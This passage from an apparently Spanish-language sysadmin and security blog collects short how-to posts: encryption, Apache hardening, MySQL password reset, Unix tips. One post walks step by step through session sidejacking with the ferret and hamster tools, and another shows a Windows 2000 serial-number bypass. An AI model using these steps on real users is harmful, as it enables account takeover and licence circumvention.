* Encrypts an entire hard disk partition or a storage device such as USB flash drive.
* Encryption is automatic, real-time (on-the-fly) and transparent.
* Provides two levels of plausible deniability, in case an adversary forces you to reveal the password:
1) Hidden volume (steganography – more information may be found here).
2) No TrueCrypt volume can be identified (volumes cannot be distinguished from random data).
* Encryption algorithms: AES-256, Serpent, and Twofish. Mode of operation: LRW.Yo recomiendo como algoritmo de cifrado AES-256. No soy ningun experto en criptografia, solo tengo conocimientos medios de esta disciplina, pero he leido fuentes fiables de matematicos, que son los verdaderos expertos en criptografia, que aseguran que uno de los algoritmos de cifrado mas fuertes a dia de hoy es AES. Aunque todo hay que decirlo, hasta donde yo se, en el 2002 alguien, no recuerdo el nombre, propuso un ataque teorico contra AES llamado ataque XSL. No se nada de ello, solo se que en la practica no es factible a dia de hoy. Tambien se que en el 2005 o 2006, algunos criptografos describieron un ataque a AES por temporizadores de cache, o algo asi. No se los entresijos de este tipo de ataque y soy perezoso para buscar en google sobre este tema, no me excita mucho conocer a fondo la criptografia, solo sus bases, pues la matematica que subyace se me escapa...
Añadir un boton en tu blog para que el visitante pueda guardarlo como PDF
He añadido un boton Javascript llamado "Save page as PDF" encima de mis links, para los que querais bajaros mi blog entero en PDF. Los que querais hacer lo mismo solo teneis que dirigiros a la siguiente URL: http://www.pdfonline.com/web2pdf/
Añadir un buscador en tu blog
Para añadir un boton de Buscar en tu blog Powered by google: 1 <input class="BlogSearch" type="text" name="searchBox" id="blogSearchText" value="" onkeypress="return blogSearch(event, this);">
2 <input type="button" value="Search" onclick="return blogSearch2('blogSearchText');" class="BlogSearchButton">
3 <script type="text/javascript"> 4 function blogSearch(event, oInput) {
5 var keyCode = (event) ? event.keyCode : keyStroke.which;
6 if (keyCode == 13) {
7 top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+site%3Avlan7.blogspot.com';
8 return false;
9 } return true;
10 }
11 function blogSearch2(oInputId) {
12 var oInput = document.getElementById(oInputId);
13 top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+site%3Avlan7.blogspot.com';
14 return false;
15 }
16 </script>He numerado las lineas porque algunas son largas. Sustituir en las lineas 7 y 13: vlan7.blogspot.com por la URL de vuestro blog/web. Si vuestro blog/web tiene subdirectorios, las lineas 7 y 13 serian algo como: top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+inurl%3Adirectorio+site%3Awww.url.com';
Howto: Apertura de la caja de Windows Vista
Hasta hoy he procurado que todos mis posts fueran serios, pero esto que he encontrado hoy no tiene desperdicio. Es que es de chiste vamos. Apertura de la caja de Windows Vista: http://windowshelp.microsoft.com/Windows/es-es/Help/2e680b8d-211e-41c5-a0bf-9ccc6d7e62a23082.mspxOjo: nos avisan al principio de la pagina de que esta informacion es aplicable a todos los productos de Windows Vista. Y para mas cachondeo, al final nos preguntan si nos ha sido util esta informacion. Posibles respuestas: Si, No, Un poco. Yo, ironico hasta la muerte, he repondido que un poco.
Saber si un demonio esta chrooted o no bajo Linux
# ps -aux |grep apache apache 28629 0.0 2.8 39240 7224 ? S 2006 0:03 /usr/sbin/httpd # ls -ld /proc/28629/root lrwxrwxrwx 1 root root 0 Set 11 12:27 /proc/28629/root -> /wwwdata #Vemos que apache esta chrooted en /wwwdata# ps -aux |grep squid root 30335 0.0 0.3 3588 788 ? S 2006 0:00 /usr/local/squid/ squid 30338 0.2 8.7 29716 22224 ? S 2006 2206:11 (squid) -D squid 30339 0.0 0.0 1304 236 ? S 2006 6:58 (unlinkd) # ls -ld /proc/30338/root lrwxrwxrwx 1 squid squid 0 Set 11 12:27 /proc/30338/root -> / #Vemos que squid no esta chrooted.
Esconder archivos en imagenes JPEG
Tenemos: topsecret.txt El archivo a esconder. imagen.jpg La imagen donde esconderemos el archivo topsecret.txtLos comprimimos a archivo.rar. En una linea de comandos escribimos: copy /b imagen.jpg + archivo.rar imagen2.jpg. En imagen2.jpg tenemos oculto nuestro archivo topsecret.txt. Podemos visualizar la imagen imagen2.jpg. Tambien podemos abrir con winrar la imagen imagen2.jpg, y ahi esta nuestro archivo topsecret.txt.
Calcula con UNIX tu rapidez de tecleo
START=`date +%s` WORDS=`cat|wc -w` #caracteres seria wc -c, +info man wc STOP=`date +%s` SPEED=`echo "$WORDS / (($STOP - $START) / 60)"|bc` echo Tienes una rapidez de tecleo de $SPEED palabras por minutoGuardalo en un archivo, dale permiso +x y ejecutalo. $ typespeed En ultima instancia, nadie puede ver en algo, incluidos los libros, mas de lo que ya sabe. Nos faltan oidos para escuchar lo que no hemos experimentado vivencialmente. Imaginemonos el caso extremo de un libro que no se refiera mas que a vivencias que, en su totalidad, se hallan situadas mas alla de la posibilidad de ser experimentadas frecuentemente, o, incluso, poco frecuentemente; de que sea el primer lenguaje para expresar un nuevo conjunto de experiencias. En tal caso, simplemente no se oye nada, y ello produce la ilusion acustica de creer que donde no se oye nada es porque no hay nada que oir. Esta es, por ultimo termino, mi experiencia ordinaria, y, si se quiere, el caracter originario de mi experiencia. Quien ha creido entender algo de mi, lo que en realidad le ha ocurrido es que ha rehecho algo mio a su imagen; y no pocas veces le ha salido lo contrario a mi, por ejemplo, un <<idealista>>. El que no ha entendido nada de lo que digo es precisamente el que señala que no se me ha de tener en cuenta ^D
Tienes una rapidez de tecleo de 77.77 palabras por minuto $
Testear la seguridad de wordpress
Bajarse un plugin llamado wp-scanner. Descomprimirlo en el directorio wp-content/plugin del blog. Activar el plugin desde el menu de plugins de wp-admin. Ir a wp-scanner e intentar atacar a vuestro blog. Cuando termine el test de intrusion acordaos de deshabilitar el plugin para que otros no os escaneen.
Sidejacking con ferret y hamster. Ataque y defensa.
Sidejacking es la tecnica que permite esnifar cookies y reemplazarlas contra sitios web suplantando la identidad de la victima. Se diferencia de un hijacking Man in the middle en que un ataque MitM interfiere con la sesion original, y el sidejacking no, pues la victima continua usando su sesion sin darse cuenta de que nosotros tambien estamos en su sesion. En la conferencia "Black Hat Hacker", llevada a cabo en Las Vegas, USA, en Agosto de 2007, Robert Graham, de la firma Errata Security, demostro con sus herramientas ferret y hamster lo sencillo que es el robo de datos de cuentas de mail. Podemos bajar las herramientas programadas por el de http://www.erratasec.com/sidejacking.zip. Expliquemos en que consisten estas herramientas y como podemos usarlas para realizar un ataque. Ferret es un sniffer de linea de comandos que esnifa cookies. Hamster actua de proxy basandose en los resultados capturados por Ferret. Veamos brevemente los pasos a seguir en el ataque. Descomprimimos las utilidades en un directorio, por ejemplo c:\vlan7. Vemos que interfaz de red queremos que Ferret esnife: ferret -WSupongamos que nuestra interfaz wireless es la 2, y que queremos esnifar por ella. Hariamos: start ferret.exe –i 2 sniffer.mode=most sniffer.directory=\pcapscon esto ya tenemos a Ferret capturando cookies que pasen por nuestra interfaz wifi, y almacenandolas en c:\vlan7\hamster.txtEjecutamos hamster: start hamsterYa tenemos un proxy local escuchando en el puerto 3128. Abrimos un navegador (yo lo hago con IE, pues habitualmente uso Opera y hamster jode las cookies que tengamos), lo configuramos para que salga por el proxy 127.0.0.1:3128 y escribimos http://hamsterNos saldran varias posibles sesiones de victimas. Elegimos alguna y con alta probabilidad... estamos dentro. Si la victima no cierra sesion y la cookie es persistente, como es el caso de gmail por ejemplo, podemos reutilizar el archivo hamster.txt siempre que queramos. El ataque fue demostrado para redes wireless abiertas, en redes wireless protegidas por cifrado (WPA/WPA2) el ataque es imposible a menos que sepamos la clave de cifrado. Y en la demostracion del ataque se uso una conexion wifi abierta, pero nada impide realizar el ataque en una red cableada. Podemos poner a Ferret esnifando en una interfaz de red cableada. Toda cookie que pase por esa interfaz sera guardada en hamster.txt. En un entorno con hub es trivial. En un entorno switcheado tambien es trivial ya en nuestros dias, basta con un simple ataque de ARP-Spoofing. Contramedidas: He leido por ahi, y en mas de una pagina web, de hecho en todas las que he encontrado que hablen del tema, que una contramedida eficaz es usar https en lugar de http. Pues bien, eso es falso. Todas estan equivocadas. Tal y como apunto Mike Perry el 6 de Agosto en la prestigiosa lista de correo bugtraq, la cookie de autenticacion GX de mail.google.com se transmite tanto por http como por https. Esta es la unica cookie necesaria para autenticarse en gmail. Para demostrar la validez del ataque aun usando https, puedes visitar en tu ordenador victima de pruebas https://mail.google.com. Ahora borra todas las cookies menos la cookie GX. En Firefox lo puedes hacer con la extension CookieCuller. Despues cierra la pestaña de gmail y visita http://mail.google.com. Sorpresa: aun estaras autenticado. La unica contramedida posible es borrar todas las cookies y/o (mejor y) hacer logout. Y si usamos wifi, cifrar siempre la conexion. <EDIT> He publicado este post en el que para mi es el mejor foro de seguridad informatica en castellano: Wadalbertia. Lo publique en la seccion de Seguridad. Y para mi grata sorpresa ha causado buena impresion y los admins me lo han puesto como Post-it, lo cual ha hecho que me sienta muy orgulloso. Gracias y un cordial saludo a todos los hackers de Wadalbertia. </EDIT>
Desconectar usuarios inactivos en UNIX
A mi se me ocurren al menos 2 maneras de hacerlo. Si los usuarios se conectan por ssh, y queremos desconectar automaticamente sesiones inactivas durante 15 minutos, editar el archivo sshd_config y jugar con las siguientes variables: ClientAliveInterval 300 ClientAliveCountMax 3(300*3=900 ; 900/15=60) Para sesiones en general, no necesariamente por ssh, en bash y ksh se me ocurre editar el archivo /etc/profile si lo queremos aplicar a todos los usuarios: TMOUT=3600desconectara a los usuarios inactivos por 1 hora (3600 segundos). En csh he comprobado que no funciona ese parametro. He buscado la manera de hacerlo en csh pero reconozco que no he sido capaz de encontrar la forma. ¿Algun hacker lector de este blog sabe como hacerlo en csh? Editare este post con creditos a ti si me alegras el dia diciendome como hacerlo. Tambien os recuerdo que estoy siempre abierto a que me hagan lo que los angloparlantes llaman "hack the hack". Estimado lector, ya seas un hacker, ya seas un administrador de sistemas que resuelve problemas de formas que no vienen en el manual, llamalo como quieras, si eres suficientemente ingenioso como para mejorar cualquier post de este blog, te invito a que lo hagas. O aunque no sea mejorar, aunque sea simplemente otra forma de hacer las cosas, creeme, yo estare encantado de publicarlo. Y la forma de quitarme el sombrero ante ti es publicarlo con creditos a ti. Mi maxima es: "Bien esta lo que bien funciona. Mejor esta lo que mejor funciona.". Solo tienes que aceptar el reto de mejorar lo mejorable, simplemente por el placer intelectual de mejorarlo. Hoy me he enrollado mas de lo habitual, lo cual no suele ser mi estilo en este mi blog personal, en el que siempre busco dar pequeños hacks a problemas concretos de la forma mas concisa y directa posible, sin ponerme a divagar sobre mis pensamientos. Pero hoy queridos lectores, hoy ahi queda eso. "Por lo que mas se nos odia es por nuestras virtudes" Nietzsche.
Instalar Windows 2000 sin que pida serial
Copiar los archivos del CD de Windows 2000 al disco duro. El archivo que nos interesa es \I386\setupp.iniBoton derecho sobre el, Propiedades y quitar la marca de solo lectura. Editarlo. Tendria que ser algo similar a esto: [Pid] ExtraData=6166656C736263737373B2574A0581 Pid=51873XXXXXX suele ser igual a 000. Sustituirlo por 270.
Resetear el password MySQL
# /etc/init.d/mysql stop # echo SET PASSWORD FOR 'root'@'localhost' = PASSWORD\('NuevoPassword'\)\; >reset_pass # mysqld_safe --init-file=reset_pass # rm reset_pass # /etc/init.d/mysql start
Windows Vista y Windows Update tras un proxy. Error 8024402C
Especificamos a Vista el proxy asi: netsh netsh> winhttp netsh winhttp> set proxy miproxy.com:puertoParamos el servicio de Windows Update: net stop wuauservBorrar la carpeta \WINDOWS\SoftwareDistributionIniciar el servicio Windows Update: net start wuauservTodo esto con privilegios administrativos. Y ya no deberiamos tener problema con el Windows Update.
Evitar ataques DoS en Apache con mod_evasive
En paginas con consultas pesadas o en servidores que no soporten una minima carga resulta tremendamente facil provocar que el servidor deje de responder lanzando una simple prueba de carga utilizando el comando ab - apache Benchmarko cualquier otra herramienta decente para generar trafico HTTP. Hay una tecnica para evitar ataques a nuestro servidor web Apache usando mod_evasive, un módulo de detección y evasion de ataques DoS. Y esta disponible tanto para Apache 1.x como para 2.x. Se puede descargar de la web http://www.zdziarski.com/projects/mod_evasive/Lo descomprimimos con tar xzf y lo instalamos en nuestro Apache ejecutando: apxs -c -a -i mod_evasive20.c - para Apache 2.x apxs -c -a -i mod_evasive.c - para Apache 1.x Revisamos que en nuestro httpd.conf exista: LoadModule evasive20_module /usr/lib/httpd/modules/mod_evasive20.soFunciona de la siguiente forma: cada usuario que realiza una peticion a un proceso de Apache se almacena en una tabla en memoria. Si ese usuario excede de un cierto numero de peticiones en el intervalo definido, comienza a rechazar peticiones denegandole el acceso (les devuelve un codigo de error 403). La configuracion es muy sencilla, y se puede situar tanto en un VirtualHost en particular, para un directorio o para el servidor en general. DOSHashTableSize 3000 - Le indicamos el tamaño de la tabla donde almacenaremos los datos de los clientes. DOSPageCount 25 - Indica el maximo numero de peticiones en el intervalo definido despues para una URI en concreto. DOSSiteCount 100 - Lo mismo, pero para todo el sitio. DOSPageInterval 7 - El intervalo de medida para una URI en concreto. DOSSiteInterval 7 - El intervalo de medida para todo el sitio. DOSBlockingPeriod 90 - El tiempo, en segundos, que va a estar bloqueada esa IP. DOSWhitelist 127.0.0.1 micasa.com - ciertos dominios o IPs a los que no queremos que se deniegue nunca el servicio. Hay un par de comandos mas que yo personalmente no activo. DOSEmailNotify - Manda un mail a una cuenta de correo cada vez que se deniega el servicio a una IP. DOSSystemCommand - cada vez que deneguemos el acceso a una IP, ejecutara un comando en el sistema, como por ejemplo, añadir una linea a iptables.
Creacion de VirtualHost falso en Apache para mejorar la seguridad
Como todos sabemos, existen multiples aplicaciones que intentan descubrir vulnerabilidades de seguridad de una manera automatizada. La inmensa mayoria intentan averiguar si está el mod_proxy activado y desprotegido para poder redirigir peticiones a otros servidores. Desgraciadamente, existen muchos servidores con una seguridad muy baja que son usados para atacar otros servidores web. Ademas muchos virus se sirven de vulnerabilidades conocidas en servidores web sin parchear para propagarse. Existe un pequeño hack poco utili |